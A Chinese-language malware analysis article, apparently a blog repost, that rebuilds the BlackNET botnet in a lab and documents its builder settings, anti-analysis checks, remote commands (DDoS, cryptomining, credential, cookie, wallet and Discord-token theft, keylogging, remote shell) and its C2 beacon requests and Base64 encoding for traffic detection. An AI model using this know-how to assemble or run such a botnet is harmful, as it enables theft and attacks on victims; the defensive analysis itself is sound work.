BlackNET僵尸网络攻击场景复现及通信模型剖析

文章首发地址:
https://xz.aliyun.com/t/15345
文章首发作者:
T0daySeeker

概述

在上一篇《针对LOL玩家的最新钓鱼活动剖析-大量国内玩家受控》文章中,笔者对最新针对LOL玩家的钓鱼攻击活动进行了详细的技术剖析,在技术剖析的过程中,笔者发现攻击活动中使用的木马程序原来均是由开源项目构建生成。为了能够更详细的对攻击活动中的各环节进行详细的剖析,笔者选择先就其中的BlackNET僵尸网络项目进行剖析。

在对BlackNET僵尸网络进行剖析的过程中,笔者发现:

  • 可基于源码模拟构建BlackNET僵尸网络的WEB面板控制端和远控木马端;
  • BlackNET远控木马支持反虚拟机、反调试、网络传播、文件捆绑等多种自定义配置;
  • BlackNET远控木马支持下发DDOS攻击、挖矿木马、远程shell等39个远控指令;
  • BlackNET僵尸网络支持基于HTTP、HTTPS通信上线,通信数据存在一定的通信特征,可基于网络流量对其进行监控。

BlackNET僵尸网络框架

模拟构建

BlackNET僵尸网络框架分为WEB面板控制端和远控木马编译器。

WEB面板控制端支持功能如下:

  • 对僵尸网络木马进行管理,下发远控指令
  • 日志记录

WEB面板控制端运行页面如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

远控木马编译器支持对木马程序进行自定义配置。远控木马编译器运行截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

框架目录剖析

尝试对BlackNET僵尸网络框架的目录结构进行剖析,梳理发现:

  • WEB面板控制端
    • plugins目录下存在多个可疑文件:FileSearcher.dll、PasswordStealer.dll、PluginExample.dll、xmrig.exe
    • xmrig.exe:挖矿程序
  • 远控木马编译器
    • stub.exe:原始木马程序,编译时将基于此木马程序进行修改生成
    • watcher.exe:守护程序,用于启动Client.exe木马程序

WEB面板控制端源码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

远控木马编译器目录截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET攻击场景复现

生成木马

根据远控木马编译器可实现自定义木马程序配置:

  • Main Settings:
    • BN URL:C&C地址
    • Victim ID:上线ID
    • MUTEX:互斥对象
    • Spiltter:用于拆分上线信息的字符串
  • Persistence:持久化配置
    • Add to Startup、Add to Scheduled tasks:自启动
    • Stealth Mode:安装至指定目录
    • Enable Watchdog:守护程序
    • Delay Execution:延迟执行
    • Critical Process
  • Extra Features:功能配置
    • Dropbox Spread、OneDrive Spread、USB Spread:传播方式
    • Elevate UAC:使用UAC提升权限
    • Anti-Debugging:反调试
    • Bypass VM:反虚拟机
    • AES Encryption:加密BN URL配置信息
    • StartKeylogger:键盘记录
    • Disable WD:关闭Windows Defender
    • Debug Mode:调试模式
  • Binder Settings:文件捆绑并运行
  • Downloader:外链下载并运行
  • Icon Changer:自定义图标
  • Compile Client:.EXE、.BAT、.CMD、.SCR、.PIF(笔者拿到的版本有问题,无法生成EXE格式以外的文件)

相关截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

木马上线

在受控主机上直接运行Client.exe木马程序,即可实现木马上线。上线成功后的WEB面板控制端运行页面如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

基于WEB面板控制端,即可实现向指定僵尸网络木马下发远控指令,相关截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET木马详细剖析

配置信息

通过分析,发现Client.exe木马程序的MainController类中存放了木马程序的配置信息,相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

进一步分析,梳理BlackNET Builder编译器中的配置信息与远控木马中的配置信息对应关系列表如下:

BlackNET Builder配置页面 配置信息 备注
Main Settings -> BN URL Host C&C地址
Main Settings -> Delay Execution DelayCodeStatus 延迟执行
Main Settings -> Delay Execution DelayCodeTime 延迟执行
Main Settings -> Spiltter Y 用于拆分上线信息的字符串
Main Settings -> Victim ID ID 上线ID
Persistence -> Add to Scheduled tasks ASchtask 自启动
Persistence -> Add to Startup Startup 自启动
Persistence -> Enable Watchdog WatcherStatus 守护程序
Persistence -> Stealth Mode HardInstall 安装至指定目录
Persistence -> Stealth Mode StartName 安装至指定目录
Persistence -> Stealth Mode InstallName 安装至指定目录
Persistence -> Stealth Mode PathS 安装至指定目录
Extra Features -> AES Encryption AESKey 加密BN URL
Extra Features -> AES Encryption AESStatus 加密BN URL
Extra Features -> Anti-Debugging BypassScanning 反调试
Extra Features -> Bypass VM AntiVM 反虚拟机
Extra Features -> Critical Process EnableCP
Extra Features -> Debug Mode DebugMode 调试模式
Extra Features -> Disable WD BypassWD 关闭Windows Defender
Extra Features -> Dropbox Spread DBSpread 传播方式
Extra Features -> Elevate UAC ElevateUAC 使用UAC提升权限
Extra Features -> OneDrive Spread ODSpread 传播方式
Extra Features -> StartKeylogger KeyloggerOnRun 键盘记录
Extra Features -> USB Spread USBSpread 传播方式
Binder Settings BinderStatus 文件捆绑并运行
Binder Settings DropperPath 文件捆绑并运行
Downloader DownloaderStatus 外链下载并运行
Downloader DownloaderPath 外链下载并运行

AES Encryption

通过分析,若自定义配置了AES Encryption选项,则样本运行后,将调用AES算法解密获取C&C地址,梳理AES解密流程如下:

  • 配置信息中的AESKey数据将用于PBKDF2算法的输入,通过迭代计算生成AES算法的IV值和KEY值;
  • 使用Base64解码加密数据;
  • 使用AES CBC解密外链C&C;

CyberChef解密流程如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET僵尸网络攻击场景复现及通信模型剖析

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

Enable Watchdog

通过分析,若自定义配置了Enable Watchdog选项,则样本将释放watcher.exe程序,用于实现进程守护,当watcher.exe程序运行后:

  • 将根据文件描述信息”Windows Update Assistant”在watcher.exe程序目录下查找Client.exe木马程序;
  • 若进程列表中无Client.exe木马程序,则加载运行Client.exe木马程序;

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

Client.exe木马程序属性信息截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BypassScanning

通过分析,若自定义配置了Anti-Debugging选项,则样本将通过多种方式检测系统环境:

  • 运行进程检测:procexp,SbieCtrl,SpyTheSpy,SpeedGear,wireshark,mbam,apateDNS,IPBlocker,cports,ProcessHacker,KeyScrambler,Tcpview,smsniff,exeinfoPE,regshot,RogueKiller,NetSnifferCs,taskmgr,Reflector,capsa,NetworkMiner,AdvancedProcessController,ProcessLassoLauncher,ProcessLasso,SystemExplorerApateDNS,Malwarebytes Anti-Malware,Malwarebytes Anti-Malware,TCPEye,SmartSniff,Active Ports,ProcessEye,MKN TaskExplorer,CurrPorts,System Explorer,DiamondCS Port Explorer,VirusTotal,Metascan Online,Speed Gear,The Wireshark Network Analyzer,Sandboxie Control,ApateDNS,.NET Reflector
  • 检测系统盘是否过小
  • 检测是否是XP环境
  • 检测是否是vmware或VirtualBox环境
  • 检测当前进程是否正在被调试
  • 检测是否是Sandboxie环境

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

DownloaderStatus

通过分析,若自定义配置了Binder Settings选项,则样本将从资源段中释放捆绑程序并运行。相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

DownloaderStatus

通过分析,若自定义配置了Downloader选项,则样本将从外链下载载荷文件并运行。相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

远控功能

通过分析,梳理WEB面板控制端与远控木马中的远控指令对应关系列表如下:

WEB面板控制端 远控木马中的远控指令 备注
Client Commands -> Ping Ping 心跳通信
Client Commands -> Show Messagebox ShowMessageBox 弹框
Client Commands -> Take Screenshot Screenshot 截屏
Client Commands -> Installed Softwares InstalledSoftwares 获取系统安装软件列表
Client Commands -> Execute Script ExecuteScript 执行脚本
Client Commands -> Elevate User Status Elevate 以管理员权限重新运行
Client Commands -> Execute XMR Miner XMRMiner 运行挖矿程序
Client Commands -> Clean TEMP Folder CleanTemp 清理%TEMP%目录
Client Commands -> Send Spam Email SpamEmail 使用受控主机发送钓鱼邮件
Client Commands -> Execute Custom Plugin InvokeCustom 运行插件
Client Commands -> Execute Shell Commands RemoteShell 执行shell命令
Client Commands -> Get a File from System GetFile 从被控主机中窃取文件
Upload Files -> From Disk UploadFile 上传并执行文件
Upload Files -> From URL UploadFile 上传并执行文件
Torrent Seeder -> From Disk TorrentSeeder 种子文件
Torrent Seeder -> From URL TorrentSeeder 种子文件
Stealers -> Steal Firefox Cookies StealCookie 窃取信息
Stealers -> Steal Chrome Cookies StealChCookies 窃取信息
Stealers -> Steal Bitcoin Wallet StealBitcoin 窃取信息
Stealers -> Execute Password Stealer StealPassword 窃取信息
Stealers -> Steal Discord Token StealDiscord 窃取信息
Stealers -> Steal Clipboard Data GetClipboard 窃取信息
Open Webpage -> Open Webpage (Visible) OpenPage 打开浏览器访问网页
Open Webpage -> Open Webpage (Hidden) OpenHidden 打开浏览器访问网页
DDOS Attack -> Start DDOS StartDDOS 支持7种不同方式向指定站点发起DDOS攻击
DDOS Attack -> Stop DDOS StopDDOS 停止DDOS攻击
Keylogger -> Start Keylogger StartKeylogger 开启键盘记录
Keylogger -> Stop Keylogger StopKeylogger 关闭键盘记录
Keylogger -> Retreive Logs RetriveLogs 上传日志文件
Computer Commands -> Shutdown Shutdown 关机
Computer Commands -> Restart Restart 重启
Computer Commands -> Logoff Logoff 注销
Clients Connection -> Close Connection Close 关闭连接
Clients Connection -> Move Client MoveClient
Clients Connection -> Blacklist IP Blacklist 将此受控主机加入黑名单
Clients Connection -> Restart Client Restart 重启
Clients Connection -> Update Client UpdateClient 升级
Clients Connection -> Uninstall Uninstall 卸载

StartDDOS

通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发DDOS攻击指令:

  • 支持DDOS方式如下:
    • UDPAttack:ping.Send
    • SlowlorisAttack:”POST / HTTP/1.1rnHost: “
    • ARMEAttack:”HEAD / HTTP/1.1rnHost: “
    • TCPAttack:socket.Connect(remoteEP)
    • HTTPGetAttack:webClient.DownloadString
    • BWFloodAttack:webClient.DownloadString
    • PostHTTPAttack:webClient.UploadString

相关WEB面板控制页面截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

XMRMiner

通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发运行挖矿木马的指令。

相关WEB面板控制页面截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET僵尸网络攻击场景复现及通信模型剖析

RemoteShell

通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发执行shell命令:

相关WEB面板控制页面截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

Screenshot

通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发截屏指令。

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET通信模型剖析

通过对BlackNET远控木马的通信流量进行抓取,发现其通信存在一定的规律:

  • 向C&C发起check_panel.php网络请求,用于校验C&C是否存活;
  • 向C&C发起connection.php网络请求,用于上传系统基本信息;
  • 循环向C&C发起getCommand.php?id=网络请求,用于获取远控指令,未设置请求间隔时间,有点类似于心跳请求;
  • 从C&C接收远控指令,根据远控指令执行对应的远控功能;
  • 指令执行完后,除个别指令外,其余指令均会向C&C发起receive.php?command=CleanCommands网络请求;
  • 执行部分指令时,需要从C&C下载相关的载荷文件;
  • 部分指令执行完后,会向C&C发起upload.php、post.php、remoteshell.php网络请求,用于上传执行结果;

BlackNET远控木马的各远控指令的通信请求对比情况如下:

远控木马中的远控指令 请求php receive.php?command= 备注
Ping
Pinged
ShowMessageBox
CleanCommands
Screenshot upload.php CleanCommands
InstalledSoftwares upload.php CleanCommands 上传ProgramList.txt
ExecuteScript
DeleteScript、CleanCommands 从C&C下载脚本
Elevate
CleanCommands
XMRMiner
CleanCommands 从C&C下载挖矿程序
CleanTemp
CleanCommands
SpamEmail
CleanCommands
InvokeCustom
CleanCommands 从C&C下载插件程序
RemoteShell remoteshell.php CleanCommands
GetFile upload.php CleanCommands 从C&C下载FileSearcher.dll
UploadFile
CleanCommands 从C&C下载程序
TorrentSeeder
CleanCommands 从C&C下载种子文件
StealCookie upload.php CleanCommands 上传cookies.sqlite
StealChCookies upload.php CleanCommands 上传CookiesCh.sqlite
StealBitcoin upload.php CleanCommands 上传wallet.dat
StealPassword upload.php CleanCommands 从C&C下载PasswordStealer.dll;上传Passwords.txt
StealDiscord upload.php CleanCommands 上传Token.txt
GetClipboard post.php CleanCommands
OpenPage
CleanCommands
OpenHidden
CleanCommands
StartDDOS
CleanCommands
StopDDOS
CleanCommands
StartKeylogger
CleanCommands
StopKeylogger
CleanCommands
RetriveLogs upload.php CleanCommands 上传log日志
Shutdown
CleanCommands
Restart
CleanCommands
Logoff
CleanCommands
Close
CleanCommands、Offline
MoveClient
CleanCommands
Blacklist


Restart
CleanCommands
UpdateClient
Uninstall、CleanCommands 从C&C下载新版本程序
Uninstall
CleanCommands

使用WEB面板控制端查看上传文件:

BlackNET僵尸网络攻击场景复现及通信模型剖析

URL参数加密

通过分析,发现样本在通信过程中,将对URL参数数据进行编码处理:

  • 编码:Base64编码;将+替换为-;将/替换为_
  • 解码:将-替换为+;将_替换为/;Base64解码;

相关代码截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

上线通信

通过分析,发现使用A-Za-z0-9-_字符集的Base64对上线载荷进行解码,可成功解码上线载荷数据(样本中使用的是A-Za-z0-9+/=字符集):

#上线载荷
SGFjS2VkX0RFQThCNzA1fEJOfERFQThCNzA1fEJOfFdJTi1KTUtKRU1KQzRPVHxCTnxNaWNyb3NvZnQgV2luZG93cyA3IOaXl-iIsOeJiCB8Qk58SW50ZWwoUikgQ29yZShUTSkgaTctMTA1MTBVIENQVSBAIDEuODBHSHp8Qk58Vk13YXJlIFNWR0EgM0R8Qk58Mi4wMCBHQnxCTnxOL0F8Qk58djMuNy4wIFB1YmxpY3xCTnxPbmxpbmV8Qk58bm98Qk58VXNlcg

#解码数据
HacKed_DEA8B705|BN|DEA8B705|BN|WIN-JMKXXX4OT|BN|Microsoft Windows 7 旗舰版 |BN|Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz|BN|VMware SVGA 3D|BN|2.00 GB|BN|N/A|BN|v3.7.0 Public|BN|Online|BN|no|BN|User

#数据拆分
HacKed_DEA8B705
DEA8B705
WIN-JMKXXX4OT
Microsoft Windows 7 旗舰版 
Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz
VMware SVGA 3D
2.00 GB
N/A
v3.7.0 Public
Online
no
User

相关通信载荷截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

心跳通信-获取远控指令

通过分析,发现样本运行后,将循环向C&C发起getCommand.php?id=网络请求,用于获取远控指令,由于未设置请求间隔时间,因此请求较频繁;

进一步分析,发现心跳通信主要分为:getCommand.php请求数据、getCommand.php响应数据、receive.php请求数据、receive.php响应数据。

由于在未接收远控指令时,上述通信的实际载荷为Ping、Pinged,因此,「通信流量中将存在大量相同载荷长度的通信数据」

相关心跳数据详情如下:

GET /blacknet/getCommand.php?id=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129

#SGFjS2VkX0RFQThCNzA1解码后为:HacKed_DEA8B705

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

6
UGluZw
0

#UGluZw解码后为:Ping

GET /blacknet/receive.php?command=UGluZ2Vk&vicID=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129

#UGluZ2Vk解码后为:Pinged

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Content-Length: 0
Content-Type: text/html; charset=UTF-8

HTTP通信数据包截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析

BlackNET僵尸网络攻击场景复现及通信模型剖析

HTTPS通信数据包截图如下:

BlackNET僵尸网络攻击场景复现及通信模型剖析


原文始发于微信公众号(T0daySeeker):BlackNET僵尸网络攻击场景复现及通信模型剖析

版权声明:admin 发表于 2024年8月26日 上午7:32。
转载请注明:BlackNET僵尸网络攻击场景复现及通信模型剖析 | CTF导航

相关文章